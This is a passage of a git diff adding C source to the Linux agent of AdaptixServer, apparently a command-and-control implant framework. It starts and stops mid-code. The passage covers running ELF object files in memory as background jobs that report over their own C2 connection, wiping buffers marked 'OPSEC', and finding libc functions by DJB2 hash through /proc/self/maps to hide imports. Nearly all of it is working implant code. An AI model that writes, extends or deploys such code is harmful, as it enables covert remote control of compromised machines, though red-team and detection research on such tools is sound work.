elf_bof_execute(arg->bof_data, arg->bof_size, + arg->args_data, arg->args_size, + arg->entry_name, &bof_response); + + // Parse the response to extract type and output, then send via C2 + if (bof_response.buf.len > 0) { + mp_reader_t rdr; + mp_reader_init(&rdr, bof_response.buf.data, bof_response.buf.len); + uint32_t map_cnt = 0; + if (mp_read_map(&rdr, &map_cnt) == 0) { + int out_type = 0x20; // default CALLBACK_OUTPUT_UTF8 + const char *out_str = ""; + uint32_t out_len = 0; + + for (uint32_t i = 0; i < map_cnt; i++) { + const char *key; + uint32_t key_len; + if (mp_read_str(&rdr, &key, &key_len) != 0) { + mp_skip(&rdr); + mp_skip(&rdr); + continue; + } + if (key_len == 4 && ax_strncmp(key, "type", 4) == 0) { + int64_t v; + mp_read_int(&rdr, &v); + out_type = (int)v; + } else if (key_len == 6 && ax_strncmp(key, "output", 6) == 0) { + mp_read_str(&rdr, &out_str, &out_len); + } else { + mp_skip(&rdr); + } + } + + async_bof_send_output(&job->conn, arg->job_id, out_type, out_str, (int)out_len); + } + } + mp_writer_free(&bof_response); + bof_clear_async_ctx(); + } + + // Send sentinel (type 0xFF) to signal BOF completion + async_bof_send_output(&job->conn, arg->job_id, 0xFF, "", 0); + + // Close C2 connection + conn_close(&job->conn); + job->active = 0; + +CLEANUP: + // OPSEC: zero and free deep-copied data + if (arg->bof_data) { + volatile uint8_t *p = (volatile uint8_t *)arg->bof_data; + for (uint32_t i = 0; i < arg->bof_size; i++) p[i] = 0; + ax_free(arg->bof_data); + } + if (arg->args_data) { + volatile uint8_t *p = (volatile uint8_t *)arg->args_data; + for (uint32_t i = 0; i < arg->args_size; i++) p[i] = 0; + ax_free(arg->args_data); + } + if (arg->stop_pipe[0] >= 0) sys_close(arg->stop_pipe[0]); + if (arg->stop_pipe[1] >= 0) sys_close(arg->stop_pipe[1]); + ax_free(arg); + + return (void *)0; +} + +int task_exec_bof_async(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response) { + // Parse msgpack: {content: bytes, args: bytes, entry_func: string} + mp_reader_t reader; + mp_reader_init(&reader, data, data_len); + + uint32_t map_count = 0; + if (mp_read_map(&reader, &map_count) != 0 || map_count < 1) { + bof_error_response(response, BOF_ERR_PARSE, "Invalid BOF command data"); + return 0; + } + + const uint8_t *bof_content = (const uint8_t *)0; + uint32_t bof_size = 0; + const uint8_t *args = (const uint8_t *)0; + uint32_t args_size = 0; + const char *entry_func = "go"; + uint32_t entry_func_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t key_len; + if (mp_read_str(&reader, &key, &key_len) != 0) { + mp_skip(&reader); + mp_skip(&reader); + continue; + } + + if (key_len == 7 && ax_strncmp(key, "content", 7) == 0) { + mp_read_bin(&reader, &bof_content, &bof_size); + } else if (key_len == 4 && ax_strncmp(key, "args", 4) == 0) { + mp_read_bin(&reader, &args, &args_size); + } else if (key_len == 10 && ax_strncmp(key, "entry_func", 10) == 0) { + mp_read_str(&reader, &entry_func, &entry_func_len); + } else { + mp_skip(&reader); + } + } + + if (!bof_content || bof_size == 0) { + bof_error_response(response, BOF_ERR_PARSE, "No BOF content"); + return 0; + } + + // Allocate job slot + int job_idx = jobs_alloc(&g_job_ctx); + if (job_idx < 0) { + bof_error_response(response, BOF_ERR_ALLOC, "No free job slots"); + return 0; + } + + // Prepare async arg with deep copies + async_bof_arg_t *arg = (async_bof_arg_t *)ax_malloc(sizeof(async_bof_arg_t)); + if (!arg) { + jobs_remove(&g_job_ctx, job_idx); + bof_error_response(response, BOF_ERR_ALLOC, "Alloc failed"); + return 0; + } + ax_memset(arg, 0, sizeof(async_bof_arg_t)); + + // Deep copy BOF data + arg->bof_data = (uint8_t *)ax_malloc(bof_size); + if (!arg->bof_data) { + ax_free(arg); + jobs_remove(&g_job_ctx, job_idx); + bof_error_response(response, BOF_ERR_ALLOC, "BOF copy alloc failed"); + return 0; + } + ax_memcpy(arg->bof_data, bof_content, bof_size); + arg->bof_size = bof_size; + + // Deep copy args + if (args && args_size > 0) { + arg->args_data = (uint8_t *)ax_malloc(args_size); + if (arg->args_data) + ax_memcpy(arg->args_data, args, args_size); + arg->args_size = args_size; + } + + // Copy entry name + if (entry_func_len > 0 && entry_func_len < sizeof(arg->entry_name)) { + ax_memcpy(arg->entry_name, entry_func, entry_func_len); + arg->entry_name[entry_func_len] = '\0'; + } else { + ax_strcpy(arg->entry_name, "go"); + } + + // Create stop pipe + arg->stop_pipe[0] = -1; + arg->stop_pipe[1] = -1; + sys_pipe2(arg->stop_pipe, 0); + + // Setup job entry + ax_snprintf(arg->job_id, sizeof(arg->job_id), "%08x", cmd_id); + arg->job_idx = job_idx; + + job_entry_t *job = &g_job_ctx.jobs[job_idx]; + ax_strcpy(job->job_id, arg->job_id); + job->job_type = BOF_PACK; + job->active = 1; + job->canceled = 0; + job->conn.fd = -1; + + // Create worker thread + if (jobs_thread_create(&job->thread, async_bof_thread, arg) != 0) { + // Thread creation failed + job->active = 0; + if (arg->bof_data) ax_free(arg->bof_data); + if (arg->args_data) ax_free(arg->args_data); + if (arg->stop_pipe[0] >= 0) sys_close(arg->stop_pipe[0]); + if (arg->stop_pipe[1] >= 0) sys_close(arg->stop_pipe[1]); + ax_free(arg); + jobs_remove(&g_job_ctx, job_idx); + bof_error_response(response, BOF_ERR_ALLOC, "Thread creation failed"); + return 0; + } + + // Ack: task running (not completed) + mp_write_map(response, 1); + mp_write_kv_str(response, "status", "running"); + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h new file mode 100644 index 000000000..b2e264b36 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h @@ -0,0 +1,169 @@ +#ifndef ELF_BOF_H +#define ELF_BOF_H + +#include "types.h" +#include "crt.h" +#include "msgpack.h" + +/// ──────────────────────────────────────────────────────────────────────────── +/// ELF64 structures — minimal, zero libc dependency (nostdlib) +/// ──────────────────────────────────────────────────────────────────────────── + +typedef uint64_t Elf64_Addr; +typedef uint64_t Elf64_Off; +typedef uint16_t Elf64_Half; +typedef uint32_t Elf64_Word; +typedef int32_t Elf64_Sword; +typedef uint64_t Elf64_Xword; +typedef int64_t Elf64_Sxword; + +/// ELF header +typedef struct { + unsigned char e_ident[16]; + Elf64_Half e_type; + Elf64_Half e_machine; + Elf64_Word e_version; + Elf64_Addr e_entry; + Elf64_Off e_phoff; + Elf64_Off e_shoff; + Elf64_Word e_flags; + Elf64_Half e_ehsize; + Elf64_Half e_phentsize; + Elf64_Half e_phnum; + Elf64_Half e_shentsize; + Elf64_Half e_shnum; + Elf64_Half e_shstrndx; +} Elf64_Ehdr; + +/// Section header +typedef struct { + Elf64_Word sh_name; + Elf64_Word sh_type; + Elf64_Xword sh_flags; + Elf64_Addr sh_addr; + Elf64_Off sh_offset; + Elf64_Xword sh_size; + Elf64_Word sh_link; + Elf64_Word sh_info; + Elf64_Xword sh_addralign; + Elf64_Xword sh_entsize; +} Elf64_Shdr; + +/// Symbol table entry +typedef struct { + Elf64_Word st_name; + unsigned char st_info; + unsigned char st_other; + Elf64_Half st_shndx; + Elf64_Addr st_value; + Elf64_Xword st_size; +} Elf64_Sym; + +/// Relocation entry with addend +typedef struct { + Elf64_Addr r_offset; + Elf64_Xword r_info; + Elf64_Sxword r_addend; +} Elf64_Rela; + +/// ──────────────────────────────────────────────────────────────────────────── +/// ELF macros +/// ──────────────────────────────────────────────────────────────────────────── + +#define ELF64_R_SYM(i) ((i) >> 32) +#define ELF64_R_TYPE(i) ((i) & 0xffffffffL) +#define ELF64_ST_BIND(i) ((unsigned char)(i) >> 4) +#define ELF64_ST_TYPE(i) ((i) & 0xf) + +/// ELF magic +#define ELFMAG0 0x7f +#define ELFMAG1 'E' +#define ELFMAG2 'L' +#define ELFMAG3 'F' +#define ELFCLASS64 2 +#define ELFDATA2LSB 1 + +/// e_type +#define ET_REL 1 + +/// e_machine +#define EM_X86_64 62 +#define EM_AARCH64 183 + +/// Section types +#define SHT_NULL 0 +#define SHT_PROGBITS 1 +#define SHT_SYMTAB 2 +#define SHT_STRTAB 3 +#define SHT_RELA 4 +#define SHT_NOBITS 8 + +/// Section flags +#define SHF_WRITE 0x1 +#define SHF_ALLOC 0x2 +#define SHF_EXECINSTR 0x4 + +/// Symbol binding/type +#define STB_LOCAL 0 +#define STB_GLOBAL 1 +#define STB_WEAK 2 +#define STT_NOTYPE 0 +#define STT_FUNC 2 + +/// Special section indices +#define SHN_UNDEF 0 + +/// ──────────────────────────────────────────────────────────────────────────── +/// Relocation types — x86_64 +/// ──────────────────────────────────────────────────────────────────────────── + +#define R_X86_64_64 1 // S + A (absolute 64-bit) +#define R_X86_64_PC32 2 // S + A - P (32-bit PC-relative) +#define R_X86_64_PLT32 4 // S + A - P (same as PC32 for .o files) +#define R_X86_64_32 10 // S + A (absolute 32-bit, zero-extend) +#define R_X86_64_32S 11 // S + A (absolute 32-bit, sign-extend) + +/// ──────────────────────────────────────────────────────────────────────────── +/// Relocation types — ARM64 (AArch64) +/// ──────────────────────────────────────────────────────────────────────────── + +#define R_AARCH64_ABS64 257 // S + A +#define R_AARCH64_CALL26 283 // (S + A - P) >> 2, 26-bit branch +#define R_AARCH64_JUMP26 282 // (S + A - P) >> 2, 26-bit branch +#define R_AARCH64_ADR_PREL_PG_HI21 275 // Page(S+A) - Page(P), bits [32:12] +#define R_AARCH64_ADD_ABS_LO12_NC 277 // (S+A) & 0xFFF, 12-bit +#define R_AARCH64_LDST8_ABS_LO12_NC 278 +#define R_AARCH64_LDST16_ABS_LO12_NC 284 +#define R_AARCH64_LDST32_ABS_LO12_NC 285 +#define R_AARCH64_LDST64_ABS_LO12_NC 286 +#define R_AARCH64_LDST128_ABS_LO12_NC 299 + +/// ──────────────────────────────────────────────────────────────────────────── +/// BOF error codes (matches beacon pattern for Go-side ProcessData) +/// ──────────────────────────────────────────────────────────────────────────── + +#define BOF_ERR_NONE 0 +#define BOF_ERR_PARSE 0x101 +#define BOF_ERR_SYMBOL 0x102 +#define BOF_ERR_ENTRY 0x104 +#define BOF_ERR_ALLOC 0x105 +#define BOF_ERR_RELOC 0x106 + +/// Max sections supported +#define BOF_MAX_SECTIONS 32 + +/// ──────────────────────────────────────────────────────────────────────────── +/// Public API +/// ──────────────────────────────────────────────────────────────────────────── + +/// Execute an ELF BOF in-memory (synchronous). +/// Called from commander.c case COMMAND_EXEC_BOF. +/// Parses msgpack params {content, args, entry_func}, loads ELF, executes, returns output. +int task_exec_bof(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response); + +/// Execute an ELF BOF in a background thread (async). +/// Called from commander.c case COMMAND_EXEC_BOF_ASYNC. +/// Spawns a thread that opens its own C2 connection and streams output. +int task_exec_bof_async(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response); + +#endif // ELF_BOF_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c new file mode 100644 index 000000000..9778b122d --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c @@ -0,0 +1,500 @@ +/// elf_resolve.c -- ELF hash-based API resolver for Linux agent +/// Parses /proc/self/maps → ELF headers → .dynsym/.dynstr → DJB2 match +/// Uses only direct syscalls — zero libc dependency for bootstrapping. + +#include "elf_resolve.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── ELF structures (inline — no system headers needed) ── + +#define EI_NIDENT 16 +#define ELFMAG0 0x7f +#define ELFMAG1 'E' +#define ELFMAG2 'L' +#define ELFMAG3 'F' +#define ELFCLASS64 2 +#define PT_LOAD 1 +#define PT_DYNAMIC 2 +#define DT_NULL 0 +#define DT_STRTAB 5 +#define DT_SYMTAB 6 +#define DT_STRSZ 10 +#define DT_GNU_HASH 0x6ffffef5 +#define DT_HASH 4 + +#define STB_GLOBAL 1 +#define STB_WEAK 2 +#define STT_FUNC 2 +#define STT_OBJECT 1 +#define SHN_UNDEF 0 + +#define ELF64_ST_BIND(i) ((i) >> 4) +#define ELF64_ST_TYPE(i) ((i) & 0xf) + +typedef struct { + uint8_t e_ident[EI_NIDENT]; + uint16_t e_type; + uint16_t e_machine; + uint32_t e_version; + uint64_t e_entry; + uint64_t e_phoff; + uint64_t e_shoff; + uint32_t e_flags; + uint16_t e_ehsize; + uint16_t e_phentsize; + uint16_t e_phnum; + uint16_t e_shentsize; + uint16_t e_shnum; + uint16_t e_shstrndx; +} Elf64_Ehdr; + +typedef struct { + uint32_t p_type; + uint32_t p_flags; + uint64_t p_offset; + uint64_t p_vaddr; + uint64_t p_paddr; + uint64_t p_filesz; + uint64_t p_memsz; + uint64_t p_align; +} Elf64_Phdr; + +typedef struct { + int64_t d_tag; + uint64_t d_val; +} Elf64_Dyn; + +typedef struct { + uint32_t st_name; + uint8_t st_info; + uint8_t st_other; + uint16_t st_shndx; + uint64_t st_value; + uint64_t st_size; +} Elf64_Sym; + +// DT_HASH header +typedef struct { + uint32_t nbucket; + uint32_t nchain; + // followed by: uint32_t bucket[nbucket]; uint32_t chain[nchain]; +} Elf_Hash; + +// DT_GNU_HASH header +typedef struct { + uint32_t nbuckets; + uint32_t symndx; + uint32_t maskwords; + uint32_t shift2; + // followed by: uint64_t bloom[maskwords]; uint32_t buckets[nbuckets]; uint32_t chains[]; +} Gnu_Hash; + +// ── Parsed library entry ── +typedef struct { + uintptr_t base; // lowest mapping address + uint32_t name_hash; // DJB2 hash of basename +} lib_entry_t; + +#define MAX_LIBS 32 + +/// Global resolved API table +resolved_apis_t g_apis; + +/// DJB2 hash — case-insensitive, seeded +uint32_t djb2_hash(uint32_t seed, const char *s) +{ + uint32_t h = seed; + while (*s) { + char c = *s++; + if (c >= 'A' && c <= 'Z') + c += 32; + h = ((h << 5) + h) + (uint32_t)c; + } + return h; +} + +// ── Internal helpers ── + +#define O_RDONLY 0 + +/// Extract basename from "/lib/x86_64-linux-gnu/libc.so.6" → "libc.so.6" +static const char *path_basename(const char *path) { + const char *last = path; + while (*path) { + if (*path == '/') last = path + 1; + path++; + } + return last; +} + +/// Validate ELF64 magic at a given memory address +static int is_valid_elf64(const void *addr) { + const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)addr; + return (ehdr->e_ident[0] == ELFMAG0 && + ehdr->e_ident[1] == ELFMAG1 && + ehdr->e_ident[2] == ELFMAG2 && + ehdr->e_ident[3] == ELFMAG3 && + ehdr->e_ident[4] == ELFCLASS64); +} + +/// Parse /proc/self/maps to find loaded shared libraries. +/// Format: "addr1-addr2 perms offset dev inode path\n" +/// We only care about r-xp (executable) mappings with a library path. +static int parse_proc_maps(lib_entry_t *libs, int max_libs) { + int fd = sys_open("/proc/self/maps", O_RDONLY, 0); + if (fd < 0) return 0; + + // Read maps in chunks — typical maps file is 2-20 KB + char buf[8192]; + int lib_count = 0; + int buf_used = 0; + + for (;;) { + long n = sys_read(fd, buf + buf_used, (size_t)(sizeof(buf) - 1 - buf_used)); + if (n <= 0) break; + buf_used += (int)n; + buf[buf_used] = '\0'; + + // Process complete lines + char *line_start = buf; + char *newline; + while ((newline = ax_strchr(line_start, '\n')) != NULL) { + *newline = '\0'; + + // Parse: "7f1234560000-7f1234570000 r-xp 00001000 08:01 12345 /lib/x86_64-linux-gnu/libc.so.6" + // ^addr_start ^perms ^path + + // Find permissions field (after first space) + char *p = ax_strchr(line_start, ' '); + if (p && p[1] == 'r' && p[4] == 'p') { + // Find the path (last field, starts with '/') + // Skip: addr, perms, offset, dev, inode → path + char *path = NULL; + int space_count = 0; + for (char *s = line_start; *s; s++) { + if (*s == '/') { + // Check this is actually a path (after inode field) + // Count at least 4 spaces before this + int sc = 0; + for (char *t = line_start; t < s; t++) { + if (*t == ' ') sc++; + } + if (sc >= 4) { + path = s; + break; + } + } + } + (void)space_count; + + if (path && ax_strstr(path, ".so")) { + // Parse base address (hex before '-') + uintptr_t base_addr = 0; + for (char *h = line_start; *h && *h != '-'; h++) { + int digit; + if (*h >= '0' && *h <= '9') digit = *h - '0'; + else if (*h >= 'a' && *h <= 'f') digit = *h - 'a' + 10; + else if (*h >= 'A' && *h <= 'F') digit = *h - 'A' + 10; + else break; + base_addr = base_addr * 16 + digit; + } + + const char *bn = path_basename(path); + uint32_t h = djb2_hash(DJB2_SEED, bn); + + // Check if we already have this lib (maps has multiple segments per lib) + int found = 0; + for (int i = 0; i < lib_count; i++) { + if (libs[i].name_hash == h) { + // Keep lowest base address + if (base_addr < libs[i].base) + libs[i].base = base_addr; + found = 1; + break; + } + } + + if (!found && lib_count < max_libs) { + libs[lib_count].base = base_addr; + libs[lib_count].name_hash = h; + lib_count++; + } + } + } + + line_start = newline + 1; + } + + // Move remaining partial line to beginning + int remaining = buf_used - (int)(line_start - buf); + if (remaining > 0) + ax_memmove(buf, line_start, remaining); + buf_used = remaining; + } + + sys_close(fd); + return lib_count; +} + +/// Resolve a loaded shared library by DJB2 hash of its basename +void *elf_resolve_lib(uint32_t name_hash) +{ + lib_entry_t libs[MAX_LIBS]; + int count = parse_proc_maps(libs, MAX_LIBS); + + for (int i = 0; i < count; i++) { + if (libs[i].name_hash == name_hash) { + // Validate ELF magic at base + if (is_valid_elf64((void *)libs[i].base)) + return (void *)libs[i].base; + } + } + return NULL; +} + +/// Resolve a symbol within an ELF64 library by DJB2 hash. +/// Walks PT_DYNAMIC → DT_SYMTAB + DT_STRTAB, then iterates symbols. +void *elf_resolve_sym(void *lib_base, uint32_t symbol_hash) +{ + if (!lib_base) return NULL; + + const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)lib_base; + if (!is_valid_elf64(ehdr)) return NULL; + + uintptr_t base = (uintptr_t)lib_base; + + // Find PT_DYNAMIC and PT_LOAD[0] for bias calculation + const Elf64_Phdr *phdr = (const Elf64_Phdr *)(base + ehdr->e_phoff); + const Elf64_Dyn *dyn = NULL; + uintptr_t load_bias = 0; + int found_load = 0; + + for (uint16_t i = 0; i < ehdr->e_phnum; i++) { + if (phdr[i].p_type == PT_DYNAMIC) { + dyn = (const Elf64_Dyn *)(base + phdr[i].p_offset); + } + if (phdr[i].p_type == PT_LOAD && !found_load) { + // Load bias = actual base - expected vaddr of first PT_LOAD + load_bias = base - phdr[i].p_vaddr; + found_load = 1; + } + } + + if (!dyn) return NULL; + + // Extract DT_SYMTAB, DT_STRTAB, DT_HASH/DT_GNU_HASH from PT_DYNAMIC + const Elf64_Sym *symtab = NULL; + const char *strtab = NULL; + const Elf_Hash *elf_hash = NULL; + const Gnu_Hash *gnu_hash = NULL; + uint64_t strsz = 0; + + for (const Elf64_Dyn *d = dyn; d->d_tag != DT_NULL; d++) { + switch (d->d_tag) { + case DT_SYMTAB: symtab = (const Elf64_Sym *)(load_bias + d->d_val); break; + case DT_STRTAB: strtab = (const char *)(load_bias + d->d_val); break; + case DT_STRSZ: strsz = d->d_val; break; + case DT_HASH: elf_hash = (const Elf_Hash *)(load_bias + d->d_val); break; + case DT_GNU_HASH: gnu_hash = (const Gnu_Hash *)(load_bias + d->d_val); break; + } + } + + if (!symtab || !strtab) return NULL; + + // Determine symbol count. + // If DT_HASH is available, nchain == total symbol count. + // If only DT_GNU_HASH, we need to walk the chain to find max index. + uint32_t nsyms = 0; + + if (elf_hash) { + nsyms = elf_hash->nchain; + } else if (gnu_hash) { + // Walk GNU hash chains to find the highest symbol index + const uint64_t *bloom = (const uint64_t *)(gnu_hash + 1); + const uint32_t *buckets = (const uint32_t *)(bloom + gnu_hash->maskwords); + const uint32_t *chains = buckets + gnu_hash->nbuckets; + + // Find highest occupied bucket + uint32_t max_idx = 0; + for (uint32_t i = 0; i < gnu_hash->nbuckets; i++) { + if (buckets[i] > max_idx) + max_idx = buckets[i]; + } + + if (max_idx >= gnu_hash->symndx) { + // Walk chain from max bucket entry to find last symbol + uint32_t idx = max_idx; + while (!(chains[idx - gnu_hash->symndx] & 1)) + idx++; + nsyms = idx + 1; + } else { + nsyms = gnu_hash->symndx; + } + } + + if (nsyms == 0) return NULL; + + // Linear walk over .dynsym — hash each exported symbol name + for (uint32_t i = 0; i < nsyms; i++) { + const Elf64_Sym *sym = &symtab[i]; + + // Skip undefined symbols + if (sym->st_shndx == SHN_UNDEF) continue; + + // Skip non-global/non-weak + uint8_t bind = ELF64_ST_BIND(sym->st_info); + if (bind != STB_GLOBAL && bind != STB_WEAK) continue; + + // Skip non-function/non-object + uint8_t type = ELF64_ST_TYPE(sym->st_info); + if (type != STT_FUNC && type != STT_OBJECT) continue; + + // Get symbol name from strtab + uint32_t name_off = sym->st_name; + if (name_off == 0 || name_off >= strsz) continue; + const char *name = strtab + name_off; + if (*name == '\0') continue; + + if (djb2_hash(DJB2_SEED, name) == symbol_hash) { + return (void *)(load_bias + sym->st_value); + } + } + + return NULL; +} + +/// Initialize the resolver — resolve all APIs from loaded libraries +int elf_resolver_init(void) +{ + ax_memset(&g_apis, 0, sizeof(g_apis)); + + // Parse /proc/self/maps to find all loaded libraries + lib_entry_t libs[MAX_LIBS]; + int lib_count = parse_proc_maps(libs, MAX_LIBS); + if (lib_count == 0) return -1; + + // Collect valid ELF image bases + void *images[MAX_LIBS]; + int image_count = 0; + + for (int i = 0; i < lib_count; i++) { + void *base = (void *)libs[i].base; + if (is_valid_elf64(base)) { + images[image_count++] = base; + } + } + + if (image_count == 0) return -1; + + // Resolve macro: try all images until found + #define RESOLVE(field, name_str) do { \ + uint32_t _h = djb2_hash(DJB2_SEED, name_str); \ + for (int _i = 0; _i < image_count && !g_apis.field; _i++) { \ + g_apis.field = elf_resolve_sym(images[_i], _h); \ + } \ + } while(0) + + // ── File I/O ── + RESOLVE(fn_open, "open"); + RESOLVE(fn_close, "close"); + RESOLVE(fn_read, "read"); + RESOLVE(fn_write, "write"); + RESOLVE(fn_stat, "stat"); + RESOLVE(fn_fstat, "fstat"); + RESOLVE(fn_unlink, "unlink"); + RESOLVE(fn_rename, "rename"); + RESOLVE(fn_mkdir, "mkdir"); + RESOLVE(fn_opendir, "opendir"); + RESOLVE(fn_readdir, "readdir"); + RESOLVE(fn_closedir, "closedir"); + RESOLVE(fn_getcwd, "getcwd"); + RESOLVE(fn_chdir, "chdir"); + RESOLVE(fn_rmdir, "rmdir"); + RESOLVE(fn_rewinddir, "rewinddir"); + + // ── Memory ── + RESOLVE(fn_mmap, "mmap"); + RESOLVE(fn_munmap, "munmap"); + RESOLVE(fn_mprotect, "mprotect"); + + // ── Process ── + RESOLVE(fn_fork, "fork"); + RESOLVE(fn_execve, "execve"); + RESOLVE(fn_execvp, "execvp"); + RESOLVE(fn_waitpid, "waitpid"); + RESOLVE(fn_getpid, "getpid"); + RESOLVE(fn_getuid, "getuid"); + RESOLVE(fn_geteuid, "geteuid"); + RESOLVE(fn_kill, "kill"); + RESOLVE(fn_setsid, "setsid"); + RESOLVE(fn_setpgid, "setpgid"); + RESOLVE(fn_exit, "_exit"); + RESOLVE(fn_prctl, "prctl"); + + // ── Network ── + RESOLVE(fn_socket, "socket"); + RESOLVE(fn_connect, "connect"); + RESOLVE(fn_getaddrinfo, "getaddrinfo"); + RESOLVE(fn_freeaddrinfo, "freeaddrinfo"); + RESOLVE(fn_gethostname, "gethostname"); + RESOLVE(fn_setsockopt, "setsockopt"); + RESOLVE(fn_getsockopt, "getsockopt"); + RESOLVE(fn_select, "select"); + RESOLVE(fn_send, "send"); + RESOLVE(fn_recv, "recv"); + RESOLVE(fn_bind, "bind"); + RESOLVE(fn_listen, "listen"); + RESOLVE(fn_accept, "accept"); + + // ── Threading ── + // On glibc 2.34+, pthread is merged into libc.so.6 + RESOLVE(fn_pthread_create, "pthread_create"); + RESOLVE(fn_pthread_detach, "pthread_detach"); + RESOLVE(fn_pthread_mutex_init, "pthread_mutex_init"); + RESOLVE(fn_pthread_mutex_lock, "pthread_mutex_lock"); + RESOLVE(fn_pthread_mutex_unlock, "pthread_mutex_unlock"); + + // ── Pipes & PTY ── + RESOLVE(fn_pipe, "pipe"); + RESOLVE(fn_dup2, "dup2"); + RESOLVE(fn_fcntl, "fcntl"); + RESOLVE(fn_posix_openpt, "posix_openpt"); + RESOLVE(fn_grantpt, "grantpt"); + RESOLVE(fn_unlockpt, "unlockpt"); + RESOLVE(fn_ptsname, "ptsname"); + RESOLVE(fn_ioctl, "ioctl"); + + // ── System ── + RESOLVE(fn_getenv, "getenv"); + RESOLVE(fn_setenv, "setenv"); + RESOLVE(fn_sleep, "sleep"); + RESOLVE(fn_usleep, "usleep"); + RESOLVE(fn_snprintf, "snprintf"); + RESOLVE(fn_strtol, "strtol"); + + // ── User/Group ── + RESOLVE(fn_getpwuid, "getpwuid"); + RESOLVE(fn_getgrgid, "getgrgid"); + RESOLVE(fn_getifaddrs, "getifaddrs"); + RESOLVE(fn_freeifaddrs, "freeifaddrs"); + RESOLVE(fn_inet_ntop, "inet_ntop"); + RESOLVE(fn_localtime, "localtime"); + RESOLVE(fn_strftime, "strftime"); + + // ── Dynamic ── + RESOLVE(fn_dlopen, "dlopen"); + RESOLVE(fn_dlsym, "dlsym"); + RESOLVE(fn_dlclose, "dlclose"); + + #undef RESOLVE + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h new file mode 100644 index 000000000..2397d4598 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h @@ -0,0 +1,213 @@ +#ifndef ELF_RESOLVE_H +#define ELF_RESOLVE_H + +#include +#include + +/// ELF hash-based API resolution for Linux +/// Parses /proc/self/maps → walks ELF .dynsym/.dynstr → DJB2 hash matching +/// +/// Two modes: +/// 1. Static ELF (BUILD_SO not defined): stubs — all ops use direct syscalls +/// 2. Shared Object (BUILD_SO defined): full resolver — libc is loaded by ld.so + +#ifndef DJB2_SEED +#define DJB2_SEED 0x1505U +#endif + +/// DJB2 hash — case-insensitive, seeded. Matches Go-side djb2Hash() exactly. +uint32_t djb2_hash(uint32_t seed, const char *s); + +/// Resolve a loaded shared library by DJB2 hash of its basename. +/// Scans /proc/self/maps for r-xp mappings, hashes each library name. +/// Returns the base address (lowest mapping) or NULL. +void *elf_resolve_lib(uint32_t name_hash); + +/// Resolve a symbol within an ELF library by DJB2 hash. +/// Parses ELF header → PT_DYNAMIC → DT_SYMTAB + DT_STRTAB + DT_GNU_HASH +/// Returns the symbol's absolute address or NULL. +void *elf_resolve_sym(void *lib_base, uint32_t symbol_hash); + +/// Initialize the resolver — resolves all APIs into g_apis. +/// Call once at startup. Returns 0 on success, -1 on failure. +int elf_resolver_init(void); + +/// Resolved API table — function pointers populated by elf_resolver_init() +typedef struct { + // ── File I/O ── + void *fn_open; + void *fn_close; + void *fn_read; + void *fn_write; + void *fn_stat; + void *fn_fstat; + void *fn_unlink; + void *fn_rename; + void *fn_mkdir; + void *fn_opendir; + void *fn_readdir; + void *fn_closedir; + void *fn_getcwd; + void *fn_chdir; + void *fn_rmdir; + void *fn_rewinddir; + + // ── Memory ── + void *fn_mmap; + void *fn_munmap; + void *fn_mprotect; + + // ── Process ── + void *fn_fork; + void *fn_execve; + void *fn_execvp; + void *fn_waitpid; + void *fn_getpid; + void *fn_getuid; + void *fn_geteuid; + void *fn_kill; + void *fn_setsid; + void *fn_setpgid; + void *fn_exit; + void *fn_prctl; + + // ── Network ── + void *fn_socket; + void *fn_connect; + void *fn_getaddrinfo; + void *fn_freeaddrinfo; + void *fn_gethostname; + void *fn_setsockopt; + void *fn_getsockopt; + void *fn_select; + void *fn_send; + void *fn_recv; + void *fn_bind; + void *fn_listen; + void *fn_accept; + + // ── Threading ── + void *fn_pthread_create; + void *fn_pthread_detach; + void *fn_pthread_mutex_init; + void *fn_pthread_mutex_lock; + void *fn_pthread_mutex_unlock; + + // ── Pipes & PTY ── + void *fn_pipe; + void *fn_dup2; + void *fn_fcntl; + void *fn_posix_openpt; + void *fn_grantpt; + void *fn_unlockpt; + void *fn_ptsname; + void *fn_ioctl; + + // ── System ── + void *fn_getenv; + void *fn_setenv; + void *fn_sleep; + void *fn_usleep; + void *fn_snprintf; + void *fn_strtol; + + // ── User/Group ── + void *fn_getpwuid; + void *fn_getgrgid; + void *fn_getifaddrs; + void *fn_freeifaddrs; + void *fn_inet_ntop; + void *fn_localtime; + void *fn_strftime; + + // ── Dynamic ── + void *fn_dlopen; + void *fn_dlsym; + void *fn_dlclose; +} resolved_apis_t; + +extern resolved_apis_t g_apis; + +// ── Convenience casting macros ── +// Type-safe access to resolved APIs. Use ONLY when the resolver has populated g_apis +// (i.e. BUILD_SO mode). In static mode, use sys_*() direct syscalls instead. + +#define R_open(p,f,m) ((int(*)(const char*,int,...))g_apis.fn_open)(p,f,m) +#define R_close(fd) ((int(*)(int))g_apis.fn_close)(fd) +#define R_read(fd,b,n) ((long(*)(int,void*,unsigned long))g_apis.fn_read)(fd,b,n) +#define R_write(fd,b,n) ((long(*)(int,const void*,unsigned long))g_apis.fn_write)(fd,b,n) +#define R_stat(p,s) ((int(*)(const char*,void*))g_apis.fn_stat)(p,s) +#define R_fstat(fd,s) ((int(*)(int,void*))g_apis.fn_fstat)(fd,s) +#define R_unlink(p) ((int(*)(const char*))g_apis.fn_unlink)(p) +#define R_rename(o,n) ((int(*)(const char*,const char*))g_apis.fn_rename)(o,n) +#define R_mkdir(p,m) ((int(*)(const char*,unsigned int))g_apis.fn_mkdir)(p,m) +#define R_opendir(p) 